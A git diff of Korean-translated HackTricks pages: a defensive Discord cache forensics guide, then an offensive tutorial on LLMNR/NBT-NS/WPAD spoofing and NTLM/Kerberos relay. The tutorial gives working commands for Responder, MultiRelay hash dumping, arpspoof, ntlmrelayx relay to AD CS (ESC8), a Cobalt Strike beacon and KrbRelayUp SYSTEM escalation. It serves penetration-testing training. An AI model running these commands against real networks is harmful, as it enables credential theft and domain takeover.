- data_#: 여러 캐시된 객체를 포함할 수 있는 이진 캐시 블록 파일
|
||||
- f_######: 개별 캐시 항목이 독립 파일로 저장된 것(종종 큰 본문)
|
||||
|
||||
참고: Discord에서 메시지/채널/서버를 삭제해도 이 로컬 캐시는 제거되지 않습니다. 캐시된 항목은 종종 남아 있으며 파일 타임스탬프는 사용자 활동과 일치하므로 타임라인 재구성이 가능합니다.
|
||||
|
||||
## What can be recovered
|
||||
|
||||
- cdn.discordapp.com/media.discordapp.net 통해 가져온 유출된 첨부파일 및 썸네일
|
||||
- 이미지, GIF, 비디오 (예: .jpg, .png, .gif, .webp, .mp4, .webm)
|
||||
- Webhook URL들 (https://discord.com/api/webhooks/…)
|
||||
- Discord API 호출 (https://discord.com/api/vX/…)
|
||||
- 비콘/유출 활동을 상호 연관시키거나 미디어 해시로 인텔 매칭할 때 유용
|
||||
|
||||
## Quick triage (manual)
|
||||
|
||||
- 캐시에서 고신호 아티팩트를 grep:
|
||||
- Webhook endpoints:
|
||||
- Windows: findstr /S /I /C:"https://discord.com/api/webhooks/" "%AppData%\discord\Cache\Cache_Data\*"
|
||||
- Linux/macOS: strings -a Cache_Data/* | grep -i "https://discord.com/api/webhooks/"
|
||||
- Attachment/CDN URLs:
|
||||
- strings -a Cache_Data/* | grep -Ei "https://(cdn|media)\.discord(app)?\.com/attachments/"
|
||||
- Discord API calls:
|
||||
- strings -a Cache_Data/* | grep -Ei "https://discord(app)?\.com/api/v[0-9]+/"
|
||||
- 수정 시간으로 캐시 항목을 정렬하여 빠른 타임라인을 구성 (mtime은 객체가 캐시에 들어온 시점을 반영):
|
||||
- Windows PowerShell: Get-ChildItem "$env:AppData\discord\Cache\Cache_Data" -File -Recurse | Sort-Object LastWriteTime | Select-Object LastWriteTime, FullName
|
||||
|
||||
## Parsing f_* entries (HTTP body + headers)
|
||||
|
||||
f_로 시작하는 파일들은 HTTP 응답 헤더 다음에 본문이 옵니다. 헤더 블록은 일반적으로 \r\n\r\n로 끝납니다. 유용한 응답 헤더:
|
||||
- Content-Type: 미디어 타입 추론
|
||||
- Content-Location or X-Original-URL: 미리보기/상관관계를 위한 원격 원본 URL
|
||||
- Content-Encoding: gzip/deflate/br (Brotli) 일 수 있음
|
||||
|
||||
미디어는 헤더와 본문을 분리한 뒤 Content-Encoding에 따라 선택적으로 압축 해제하여 추출할 수 있습니다. Content-Type이 없을 때는 매직 바이트 스니핑이 유용합니다.
|
||||
|
||||
## Automated DFIR: Discord Forensic Suite (CLI/GUI)
|
||||
|
||||
- Repo: https://github.com/jwdfir/discord_cache_parser
|
||||
- 기능: Discord의 캐시 폴더를 재귀 스캔하여 webhook/API/attachment URL을 찾고, f_* 본문을 파싱하며, 선택적으로 미디어를 캐빙하고 SHA‑256 해시와 함께 HTML + CSV 타임라인 리포트를 출력합니다.
|
||||
|
||||
Example CLI usage:
|
||||
```bash
|
||||
# Acquire cache (copy directory for offline parsing), then run:
|
||||
python3 discord_forensic_suite_cli \
|
||||
--cache "%AppData%\discord\Cache\Cache_Data" \
|
||||
--outdir C:\IR\discord-cache \
|
||||
--output discord_cache_report \
|
||||
--format both \
|
||||
--timeline \
|
||||
--extra \
|
||||
--carve \
|
||||
--verbose
|
||||
```
|
||||
주요 옵션:
|
||||
- --cache: Cache_Data의 경로
|
||||
- --format html|csv|both
|
||||
- --timeline: 정렬된 CSV 타임라인을 출력 (수정 시간 기준)
|
||||
- --extra: 형제 캐시인 Code Cache 및 GPUCache도 스캔
|
||||
- --carve: 정규식 매치 근처의 원시 바이트에서 미디어(이미지/비디오) 추출
|
||||
- 출력: HTML 리포트, CSV 리포트, CSV 타임라인, 그리고 카빙/추출된 파일이 들어 있는 미디어 폴더
|
||||
|
||||
## 분석가 팁
|
||||
|
||||
- f_* 및 data_* 파일의 수정 시간(mtime)을 사용자/공격자의 활동 시간대와 대조하여 타임라인을 재구성하세요.
|
||||
- 복구된 미디어는 SHA-256으로 해시하고 known-bad 또는 exfil 데이터셋과 비교하세요.
|
||||
- 추출된 webhook URL은 활성 여부(liveness)를 테스트하거나 교체(rotate)할 수 있습니다; 차단 목록(blocklists)에 추가하고 retro-hunting 프록시에서 소급 탐색하는 것을 고려하세요.
|
||||
- 서버 측에서 “wiping”을 수행한 이후에도 Cache는 남아 있습니다. 수집(acquisition)이 가능하면 전체 Cache 디렉토리와 관련된 형제 캐시(Code Cache, GPUCache)를 확보하세요.
|
||||
|
||||
## References
|
||||
|
||||
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
|
||||
- [Discord Forensic Suite (CLI/GUI)](https://github.com/jwdfir/discord_cache_parser)
|
||||
- [Discord Webhooks – Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,77 +1,77 @@
|
||||
# LLMNR, NBT-NS, mDNS/DNS 및 WPAD 및 릴레이 공격 스푸핑
|
||||
# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 네트워크 프로토콜
|
||||
|
||||
### 로컬 호스트 해상도 프로토콜
|
||||
### Local Host Resolution Protocols
|
||||
|
||||
- **LLMNR, NBT-NS, 및 mDNS**:
|
||||
- Microsoft 및 기타 운영 체제는 DNS가 실패할 때 로컬 이름 해상을 위해 LLMNR 및 NBT-NS를 사용합니다. 유사하게, Apple 및 Linux 시스템은 mDNS를 사용합니다.
|
||||
- 이러한 프로토콜은 UDP를 통한 인증되지 않은 브로드캐스트 특성으로 인해 가로채기 및 스푸핑에 취약합니다.
|
||||
- [Responder](https://github.com/lgandx/Responder)는 이러한 프로토콜을 쿼리하는 호스트에 위조된 응답을 전송하여 서비스를 가장하는 데 사용할 수 있습니다.
|
||||
- Responder를 사용한 서비스 가장에 대한 추가 정보는 [여기](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)에서 확인할 수 있습니다.
|
||||
- **LLMNR, NBT-NS, and mDNS**:
|
||||
- Microsoft 및 기타 운영체제는 DNS가 실패할 때 로컬 이름 해석을 위해 LLMNR 및 NBT-NS를 사용합니다. 마찬가지로 Apple 및 Linux 시스템은 mDNS를 사용합니다.
|
||||
- 이들 프로토콜은 UDP를 통한 인증되지 않은 브로드캐스트 특성 때문에 도청 및 spoofing에 취약합니다.
|
||||
- [Responder](https://github.com/lgandx/Responder)를 사용하면 이들 프로토콜을 질의하는 호스트에 위조된 응답을 보내 서비스를 가장할 수 있습니다.
|
||||
- Responder를 사용한 서비스 가장에 대한 자세한 정보는 [여기](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)에서 확인할 수 있습니다.
|
||||
|
||||
### 웹 프록시 자동 검색 프로토콜 (WPAD)
|
||||
### Web Proxy Auto-Discovery Protocol (WPAD)
|
||||
|
||||
- WPAD는 브라우저가 프록시 설정을 자동으로 발견할 수 있도록 합니다.
|
||||
- 발견은 DHCP, DNS를 통해 이루어지며, DNS가 실패할 경우 LLMNR 및 NBT-NS로 대체됩니다.
|
||||
- WPAD는 브라우저가 프록시 설정을 자동으로 검색할 수 있도록 합니다.
|
||||
- 검색은 DHCP, DNS를 통해 이루어지며 DNS가 실패하면 LLMNR 및 NBT-NS로 폴백됩니다.
|
||||
- Responder는 WPAD 공격을 자동화하여 클라이언트를 악성 WPAD 서버로 유도할 수 있습니다.
|
||||
|
||||
### 프로토콜 오염을 위한 Responder
|
||||
### Responder를 이용한 Protocol Poisoning
|
||||
|
||||
- **Responder**는 LLMNR, NBT-NS 및 mDNS 쿼리를 오염시키기 위해 사용되는 도구로, 주로 SMB 서비스를 목표로 쿼리 유형에 따라 선택적으로 응답합니다.
|
||||
- Kali Linux에 기본적으로 설치되어 있으며, `/etc/responder/Responder.conf`에서 구성할 수 있습니다.
|
||||
- Responder는 캡처된 해시를 화면에 표시하고 `/usr/share/responder/logs` 디렉토리에 저장합니다.
|
||||
- **Responder**는 LLMNR, NBT-NS, mDNS 쿼리를 poisoning하는 데 사용되는 도구로, 쿼리 유형에 따라 선택적으로 응답하며 주로 SMB 서비스를 대상으로 합니다.
|
||||
- Kali Linux에 기본으로 포함되어 있으며 `/etc/responder/Responder.conf`에서 구성할 수 있습니다.
|
||||
- Responder는 캡처한 해시를 화면에 표시하고 `/usr/share/responder/logs` 디렉토리에 저장합니다.
|
||||
- IPv4와 IPv6를 모두 지원합니다.
|
||||
- Windows 버전의 Responder는 [여기](https://github.com/lgandx/Responder-Windows)에서 사용할 수 있습니다.
|
||||
- Windows용 Responder 버전은 [여기](https://github.com/lgandx/Responder-Windows)에서 사용할 수 있습니다.
|
||||
|
||||
#### Responder 실행
|
||||
#### Running Responder
|
||||
|
||||
- 기본 설정으로 Responder를 실행하려면: `responder -I <Interface>`
|
||||
- 더 공격적인 탐색을 위해 (잠재적인 부작용이 있을 수 있음): `responder -I <Interface> -P -r -v`
|
||||
- NTLMv1 챌린지/응답을 캡처하여 더 쉽게 크랙할 수 있는 기술: `responder -I <Interface> --lm --disable-ess`
|
||||
- WPAD 가장을 활성화하려면: `responder -I <Interface> --wpad`
|
||||
- NetBIOS 요청을 공격자의 IP로 해결하고 인증 프록시를 설정할 수 있습니다: `responder.py -I <interface> -Pv`
|
||||
- 부작용이 있을 수 있는 좀 더 공격적인 프로빙: `responder -I <Interface> -P -r -v`
|
||||
- NTLMv1 challenge/response를 캡처해 크래킹을 쉽게 하는 기법: `responder -I <Interface> --lm --disable-ess`
|
||||
- WPAD 가장화를 활성화하려면: `responder -I <Interface> --wpad`
|
||||
- NetBIOS 요청을 공격자 IP로 해석하고 인증 프록시를 설정할 수 있습니다: `responder.py -I <interface> -Pv`
|
||||
|
||||
### Responder를 이용한 DHCP 오염
|
||||
### DHCP Poisoning with Responder
|
||||
|
||||
- DHCP 응답을 스푸핑하면 피해자의 라우팅 정보를 영구적으로 오염시킬 수 있으며, ARP 오염보다 더 은밀한 대안이 됩니다.
|
||||
- 이는 대상 네트워크의 구성에 대한 정확한 지식이 필요합니다.
|
||||
- DHCP 응답을 spoofing하면 피해자의 라우팅 정보를 영구적으로 poisoning할 수 있어 ARP poisoning보다 은밀한 대안이 됩니다.
|
||||
- 이는 타깃 네트워크 구성에 대한 정확한 지식을 필요로 합니다.
|
||||
- 공격 실행: `./Responder.py -I eth0 -Pdv`
|
||||
- 이 방법은 NTLMv1/2 해시를 효과적으로 캡처할 수 있지만, 네트워크 중단을 피하기 위해 신중하게 처리해야 합니다.
|
||||
- 이 방법은 NTLMv1/2 해시를 효과적으로 캡처할 수 있지만 네트워크 중단을 피하기 위해 신중히 다뤄야 합니다.
|
||||
|
||||
### Responder로 자격 증명 캡처
|
||||
### Capturing Credentials with Responder
|
||||
|
||||
- Responder는 위에서 언급한 프로토콜을 사용하여 서비스를 가장하고, 사용자가 스푸핑된 서비스에 대해 인증을 시도할 때 자격 증명(주로 NTLMv2 챌린지/응답)을 캡처합니다.
|
||||
- NetNTLMv1로 다운그레이드하거나 ESS를 비활성화하여 자격 증명을 더 쉽게 크랙할 수 있는 시도를 할 수 있습니다.
|
||||
- Responder는 위에서 언급한 프로토콜을 사용해 서비스를 가장하고, 사용자가 spoofed 서비스에 대해 인증을 시도할 때 자격증명(일반적으로 NTLMv2 Challenge/Response)을 캡처합니다.
|
||||
- 자격증명 크래킹을 쉽게 하기 위해 NetNTLMv1로 다운그레이드하거나 ESS를 비활성화하려는 시도를 할 수 있습니다.
|
||||
|
||||
이러한 기술을 사용하는 것은 법적이고 윤리적으로 수행되어야 하며, 적절한 승인을 보장하고 중단이나 무단 접근을 피해야 합니다.
|
||||
이러한 기술을 사용할 때는 적절한 허가를 받고 방해나 무단 접근을 피하는 등 법적·윤리적으로 수행해야 한다는 점이 중요합니다.
|
||||
|
||||
## Inveigh
|
||||
|
||||
Inveigh는 Windows 시스템을 위한 침투 테스터 및 레드 팀원을 위한 도구입니다. Responder와 유사한 기능을 제공하며, 스푸핑 및 중간자 공격을 수행합니다. 이 도구는 PowerShell 스크립트에서 C# 바이너리로 발전하였으며, [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) 및 [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)가 주요 버전입니다. 자세한 매개변수 및 지침은 [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters)에서 확인할 수 있습니다.
|
||||
Inveigh는 Windows 시스템용으로 설계된 penetration testers 및 red teamers를 위한 도구입니다. Responder와 유사한 기능을 제공하며 spoofing 및 man-in-the-middle 공격을 수행합니다. 이 도구는 PowerShell 스크립트에서 C# 바이너리로 발전했으며 주요 버전으로는 [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh)와 [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)가 있습니다. 자세한 매개변수와 지침은 [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters)에서 확인할 수 있습니다.
|
||||
|
||||
Inveigh는 PowerShell을 통해 운영할 수 있습니다:
|
||||
```bash
|
||||
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
|
||||
```
|
||||
C# 바이너리로 실행됨:
|
||||
또는 C# 바이너리로 실행:
|
||||
```bash
|
||||
Inveigh.exe
|
||||
```
|
||||
### NTLM Relay Attack
|
||||
|
||||
이 공격은 SMB 인증 세션을 활용하여 대상 머신에 접근하며, 성공할 경우 시스템 셸을 부여합니다. 주요 전제 조건은 다음과 같습니다:
|
||||
이 공격은 SMB 인증 세션을 활용해 대상 머신에 접근하며, 성공 시 system shell을 획득할 수 있습니다. 주요 전제 조건은 다음과 같습니다:
|
||||
|
||||
- 인증하는 사용자는 중계된 호스트에서 로컬 관리자 권한을 가져야 합니다.
|
||||
- SMB 서명이 비활성화되어야 합니다.
|
||||
- 인증하는 사용자는 릴레이된 호스트에서 Local Admin 액세스 권한을 가지고 있어야 합니다.
|
||||
- SMB signing이 비활성화되어 있어야 합니다.
|
||||
|
||||
#### 445 포트 포워딩 및 터널링
|
||||
#### 445 Port Forwarding and Tunneling
|
||||
|
||||
직접적인 네트워크 소개가 불가능한 시나리오에서는 445 포트의 트래픽을 포워딩하고 터널링해야 합니다. [**PortBender**](https://github.com/praetorian-inc/PortBender)와 같은 도구는 포트 445 트래픽을 다른 포트로 리디렉션하는 데 도움을 주며, 이는 드라이버 로딩을 위한 로컬 관리자 접근이 가능할 때 필수적입니다.
|
||||
직접 네트워크 연결이 불가능한 상황에서는 port 445 트래픽을 포워딩하고 터널링해야 합니다. [**PortBender**](https://github.com/praetorian-inc/PortBender)와 같은 도구는 port 445 트래픽을 다른 포트로 리다이렉트하는 데 도움이 되며, 이는 driver loading을 위해 local admin access가 가능한 경우 필수적입니다.
|
||||
|
||||
PortBender 설정 및 Cobalt Strike에서의 작동:
|
||||
Cobalt Strike에서 PortBender 설정 및 운영:
|
||||
```bash
|
||||
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
|
||||
|
||||
@ -87,17 +87,17 @@ beacon> jobkill 0
|
||||
beacon> rportfwd stop 8445
|
||||
beacon> socks stop
|
||||
```
|
||||
### NTLM 릴레이 공격을 위한 기타 도구
|
||||
### NTLM Relay Attack용 기타 도구
|
||||
|
||||
- **Metasploit**: 프록시, 로컬 및 원격 호스트 세부정보로 설정합니다.
|
||||
- **smbrelayx**: SMB 세션을 릴레이하고 명령을 실행하거나 백도어를 배포하는 Python 스크립트입니다.
|
||||
- **MultiRelay**: 특정 사용자 또는 모든 사용자를 릴레이하고, 명령을 실행하거나 해시를 덤프하는 Responder 스위트의 도구입니다.
|
||||
- **Metasploit**: 프록시와 로컬 및 원격 호스트 정보를 설정해 사용.
|
||||
- **smbrelayx**: SMB 세션을 중계하고 명령을 실행하거나 백도어를 배포하기 위한 Python 스크립트.
|
||||
- **MultiRelay**: Responder 스위트의 도구로 특정 사용자 또는 모든 사용자를 중계하고, 명령을 실행하거나 해시를 덤프할 수 있음.
|
||||
|
||||
각 도구는 필요에 따라 SOCKS 프록시를 통해 작동하도록 구성할 수 있어, 간접 네트워크 액세스가 있는 경우에도 공격이 가능합니다.
|
||||
각 도구는 필요한 경우 SOCKS 프록시를 통해 동작하도록 구성할 수 있어, 간접 네트워크 접근만으로도 공격을 수행할 수 있다.
|
||||
|
||||
### MultiRelay 작동
|
||||
### MultiRelay 동작
|
||||
|
||||
MultiRelay는 _**/usr/share/responder/tools**_ 디렉토리에서 실행되며, 특정 IP 또는 사용자를 대상으로 합니다.
|
||||
MultiRelay는 _**/usr/share/responder/tools**_ 디렉토리에서 실행되며 특정 IP나 사용자를 대상으로 한다.
|
||||
```bash
|
||||
python MultiRelay.py -t <IP target> -u ALL # Relay all users
|
||||
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
|
||||
@ -105,77 +105,138 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
|
||||
|
||||
# Proxychains for routing traffic
|
||||
```
|
||||
이 도구와 기술은 다양한 네트워크 환경에서 NTLM Relay 공격을 수행하기 위한 포괄적인 세트를 형성합니다.
|
||||
이 도구들과 기법들은 다양한 네트워크 환경에서 NTLM Relay 공격을 수행하기 위한 포괄적인 세트를 제공합니다.
|
||||
|
||||
### NTLM 로그인 강제화
|
||||
### Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)
|
||||
|
||||
Windows에서는 **일부 특권 계정이 임의의 머신에 인증하도록 강제할 수 있습니다**. 방법을 배우려면 다음 페이지를 읽으십시오:
|
||||
WSUS 클라이언트는 NTLM을 사용해 HTTP (8530) 또는 HTTPS (8531) 상의 업데이트 서버에 인증합니다. HTTP가 활성화된 경우, 로컬 세그먼트에서 주기적인 클라이언트 체크인을 강제하거나 가로채서 ntlmrelayx로 LDAP/LDAPS/SMB 또는 AD CS HTTP 엔드포인트(ESC8)로 해시를 크랙하지 않고 중계할 수 있습니다. 이는 정상적인 업데이트 트래픽에 섞여 들어가며 종종 머신 계정 인증(HOST$)을 얻습니다.
|
||||
|
||||
찾아볼 항목
|
||||
- GPO/레지스트리 설정 위치: HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate 및 ...\WindowsUpdate\AU:
|
||||
- WUServer (예: http://wsus.domain.local:8530)
|
||||
- WUStatusServer (보고용 URL)
|
||||
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
|
||||
- DetectionFrequencyEnabled 및 DetectionFrequency (시간)
|
||||
- 클라이언트가 HTTP로 사용하는 WSUS SOAP 엔드포인트:
|
||||
- /ClientWebService/client.asmx (승인)
|
||||
- /ReportingWebService/reportingwebservice.asmx (상태)
|
||||
- 기본 포트: 8530/tcp HTTP, 8531/tcp HTTPS
|
||||
|
||||
정찰 (Reconnaissance)
|
||||
- 비인증(Unauthenticated)
|
||||
- 리스너 스캔: nmap -sSVC -Pn --open -p 8530,8531 -iL <hosts>
|
||||
- L2 MITM로 HTTP WSUS 트래픽을 스니핑하고 wsusniff.py로 활성 클라이언트/엔드포인트를 기록 (TLS 인증서를 클라이언트가 신뢰하게 만들 수 없는 한 HTTP만).
|
||||
- 인증(Authenticated)
|
||||
- SYSVOL GPO에서 WSUS 키를 MANSPIDER + regpol로 파싱 (wsuspider.sh 래퍼가 WUServer/WUStatusServer/UseWUServer 요약).
|
||||
- 호스트에서 대규모로 엔드포인트 쿼리 또는 로컬에서:
|
||||
nxc smb <ip> -u <user> -p <pass> -M reg-query -o PATH="HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate" KEY="WUServer"
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
|
||||
|
||||
End-to-end HTTP relay 단계
|
||||
1) MITM 위치 확보(같은 L2) — 클라이언트가 WSUS 서버를 당신으로 해석하도록 만듭니다 (ARP/DNS poisoning, Bettercap, mitm6 등). arpspoof 예:
|
||||
arpspoof -i <iface> -t <wsus_client_ip> <wsus_server_ip>
|
||||
|
||||
2) 포트 8530을 리레이 리스너로 리다이렉트(선택적, 편리):
|
||||
iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530
|
||||
iptables -t nat -L PREROUTING --line-numbers
|
||||
|
||||
3) HTTP 리스너로 ntlmrelayx 시작(HTTP 리스너를 위한 Impacket 지원 필요; 아래 PR 참조):
|
||||
ntlmrelayx.py -t ldap://<DC> -smb2support -socks --keep-relaying --http-port 8530
|
||||
|
||||
다른 일반 목표:
|
||||
- Relay to SMB (서명 비활성화 시)로 실행/덤프: -t smb://<host>
|
||||
- Relay to LDAPS로 디렉터리 변경(예: RBCD): -t ldaps://<DC>
|
||||
- Relay to AD CS web enrollment (ESC8)로 인증서 발급 후 Schannel/PKINIT로 인증:
|
||||
ntlmrelayx.py --http-port 8530 -t http://<CA>/certsrv/certfnsh.asp --adcs --no-http-server
|
||||
더 깊은 AD CS 남용 경로와 도구는 AD CS 페이지를 참조하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
4) 클라이언트 체크인을 트리거하거나 일정 대기. 클라이언트에서:
|
||||
wuauclt.exe /detectnow
|
||||
또는 Windows Update UI에서 (Check for updates).
|
||||
|
||||
5) 인증된 SOCKS 세션(-socks 사용 시)이나 직접 리레이 결과를 사용하여 사후 침투(LDAP 변경, SMB 작업, 또는 나중에 인증하기 위한 AD CS 인증서 발급 등).
|
||||
|
||||
HTTPS 제약 (8531)
|
||||
- 클라이언트가 당신의 인증서를 신뢰하지 않는 한, HTTPS로 전송되는 WSUS를 수동으로 가로채는 것은 효과가 없습니다. 신뢰된 인증서나 다른 TLS 우회가 없으면 WSUS HTTPS 트래픽에서 NTLM 핸드셰이크를 수집/중계할 수 없습니다.
|
||||
|
||||
노트
|
||||
- WSUS는 사용 중단(deprecated) 발표가 있었지만 널리 배포되어 있으며 HTTP(8530)는 많은 환경에서 여전히 일반적입니다.
|
||||
- 유용한 도구: wsusniff.py (HTTP WSUS 체크인 관찰), wsuspider.sh (GPO에서 WUServer/WUStatusServer 열거), NetExec reg-query (대규모).
|
||||
- Impacket은 PR #2034에서 ntlmrelayx용 HTTP 리스너 지원을 복원했습니다(원래 PR #913에서 추가됨).
|
||||
|
||||
### Force NTLM Logins
|
||||
|
||||
Windows에서는 **일부 권한 있는 계정을 임의의 머신에 인증하도록 강제할 수 있을** 수 있습니다. 방법은 다음 페이지를 읽어보세요:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
## Kerberos Relay 공격
|
||||
## Kerberos Relay attack
|
||||
|
||||
**Kerberos relay 공격**은 한 서비스에서 **AP-REQ 티켓**을 훔쳐서 **같은 컴퓨터 계정 키**를 공유하는 두 번째 서비스에 재사용합니다 (두 SPN이 같은 `$` 머신 계정에 있기 때문입니다). SPN의 **서비스 클래스가 다르더라도** (예: `CIFS/` → `LDAP/`) 티켓을 해독하는 *키*는 머신의 NT 해시이므로 SPN 문자열 자체가 아니라 SPN 문자열은 서명의 일부가 아닙니다.
|
||||
A **Kerberos relay attack**은 한 서비스에서 **AP-REQ 티켓**을 훔쳐 동일한 **computer-account key**를 공유하는(두 SPN이 동일한 `$` 머신 계정에 설정된 경우) 두 번째 서비스에 재사용합니다. 이는 SPN의 **service class**가 서로 달라도(예: `CIFS/` → `LDAP/`) 작동하는데, 티켓을 복호화하는 *키*는 머신의 NT 해시이며 SPN 문자열 자체가 서명에 포함되지 않기 때문입니다.
|
||||
|
||||
NTLM relay와 달리, 홉은 *같은 호스트*로 제한되지만, LDAP에 쓸 수 있는 프로토콜을 목표로 하면 **Resource-Based Constrained Delegation (RBCD)** 또는 **AD CS 등록**으로 체인할 수 있으며, 한 번에 **NT AUTHORITY\SYSTEM**을 팝할 수 있습니다.
|
||||
NTLM relay와 달리 홉은 *동일 호스트*로 제한되지만, LDAP에 쓰기가 가능한 프로토콜을 겨냥하면 **Resource-Based Constrained Delegation (RBCD)** 또는 **AD CS enrollment**로 체인 연결하여 단번에 **NT AUTHORITY\SYSTEM**을 확보할 수 있습니다.
|
||||
|
||||
이 공격에 대한 자세한 정보는 다음을 확인하십시오:
|
||||
이 공격에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
|
||||
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
|
||||
|
||||
- 1. **Kerberos 기본 사항**
|
||||
- 1. **Kerberos basics**
|
||||
|
||||
| 토큰 | 목적 | 릴레이 관련성 |
|
||||
| Token | Purpose | Relay relevance |
|
||||
|-------|---------|-----------------|
|
||||
| **TGT / AS-REQ ↔ REP** | KDC에 사용자 증명 | 손대지 않음 |
|
||||
| **서비스 티켓 / TGS-REQ ↔ REP** | 하나의 **SPN**에 바인딩; SPN 소유자의 키로 암호화됨 | SPN이 계정을 공유하면 교환 가능 |
|
||||
| **AP-REQ** | 클라이언트가 서비스를 위해 `TGS`를 보냄 | **우리가 훔치고 재생하는 것** |
|
||||
| **TGT / AS-REQ ↔ REP** | 사용자를 KDC에 증명함 | 영향 없음 |
|
||||
| **Service ticket / TGS-REQ ↔ REP** | 하나의 **SPN**에 바인딩; SPN 소유자의 키로 암호화됨 | SPN들이 동일 계정을 공유하면 교환 가능 |
|
||||
| **AP-REQ** | 클라이언트가 `TGS`를 서비스로 전송 | **우리가 훔쳐서 재생하는 것** |
|
||||
|
||||
* 티켓은 **SPN을 소유한 계정의 비밀번호에서 파생된 키**로 암호화됩니다.
|
||||
* AP-REQ 내부의 **인증자**는 5분 타임스탬프를 가지고 있으며, 그 시간 내에 재생은 서비스 캐시가 중복을 감지할 때까지 유효합니다.
|
||||
* Windows는 티켓의 SPN 문자열이 당신이 접근하는 서비스와 일치하는지 거의 확인하지 않으므로, `CIFS/HOST`에 대한 티켓은 일반적으로 `LDAP/HOST`에서 잘 해독됩니다.
|
||||
* 티켓들은 **SPN을 소유한 계정의 비밀번호 유도 키(password-derived key)**로 암호화됩니다.
|
||||
* AP-REQ 내부의 **Authenticator**는 5분 타임스탬프를 가지며, 그 윈도우 내에서 재생하면 서비스 캐시가 중복을 확인할 때까지 유효합니다.
|
||||
* Windows는 티켓의 SPN 문자열이 당신이 접속한 서비스와 일치하는지 거의 확인하지 않으므로 `CIFS/HOST`용 티켓이 `LDAP/HOST`에서 정상적으로 복호화되는 경우가 일반적입니다.
|
||||
|
||||
- 2. **Kerberos를 릴레이하기 위해 반드시 사실이어야 하는 것들**
|
||||
- 2. **Kerberos를 중계하려면 무엇이 참이어야 하는가**
|
||||
|
||||
1. **공유 키:** 출처 및 대상 SPN이 동일한 컴퓨터 계정에 속함 (Windows 서버의 기본값).
|
||||
2. **채널 보호 없음:** SMB/LDAP 서명 해제 및 HTTP/LDAPS에 대한 EPA 해제.
|
||||
3. **인증을 가로채거나 강제할 수 있음:** LLMNR/NBNS 중독, DNS 스푸핑, **PetitPotam / DFSCoerce RPC**, 가짜 AuthIP, 악성 DCOM 등.
|
||||
4. **티켓 출처가 이미 사용되지 않음:** 실제 패킷이 도착하기 전에 경주에서 이기거나 완전히 차단; 그렇지 않으면 서버의 재생 캐시가 이벤트 4649를 발생시킵니다.
|
||||
5. **통신에서 MitM을 수행할 수 있어야 함:** DNSAmins 그룹의 일원이 되어 도메인의 DNS를 수정하거나 피해자의 HOST 파일을 변경할 수 있어야 합니다.
|
||||
1. **Shared key:** 출발지와 대상 SPN이 동일한 컴퓨터 계정에 속해야 함(Windows 서버의 기본 설정).
|
||||
2. **No channel protection:** SMB/LDAP 서명 비활성 및 HTTP/LDAPS에 대한 EPA 비활성.
|
||||
3. **인증을 가로채거나 강제할 수 있음:** LLMNR/NBNS poison, DNS spoof, **PetitPotam / DFSCoerce RPC**, fake AuthIP, rogue DCOM 등.
|
||||
4. **티켓 출처가 이미 사용되지 않음:** 실제 패킷이 도달하기 전에 레이스에서 이겨야 하며 그렇지 않으면 서버의 재생 캐시가 Event 4649를 기록함.
|
||||
5. 통신에서 어떤 식으로든 **MitM을 수행할 수 있어야** 함 — 도메인의 DNS를 수정할 수 있는 DNSAmins 그룹의 일원이 되거나 피해자의 HOST 파일을 변경할 수 있어야 할 수 있습니다.
|
||||
|
||||
### Kerberos Relay 단계
|
||||
### Kerberos Relay Steps
|
||||
|
||||
- 3.1 **호스트 정찰**
|
||||
- 3.1 **Recon the host**
|
||||
```powershell
|
||||
# find servers where HTTP, LDAP or CIFS share the same machine account
|
||||
Get-ADComputer -Filter * -Properties servicePrincipalName |
|
||||
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
|
||||
Select Name,servicePrincipalName
|
||||
```
|
||||
- 3.2 **릴레이 리스너 시작하기**
|
||||
- 3.2 **릴레이 리스너 시작**
|
||||
|
||||
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
|
||||
```powershell
|
||||
# one-click local SYSTEM via RBCD
|
||||
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
|
||||
```
|
||||
`KrbRelayUp`는 **KrbRelay → LDAP → RBCD → Rubeus → SCM 우회**를 하나의 바이너리로 묶습니다.
|
||||
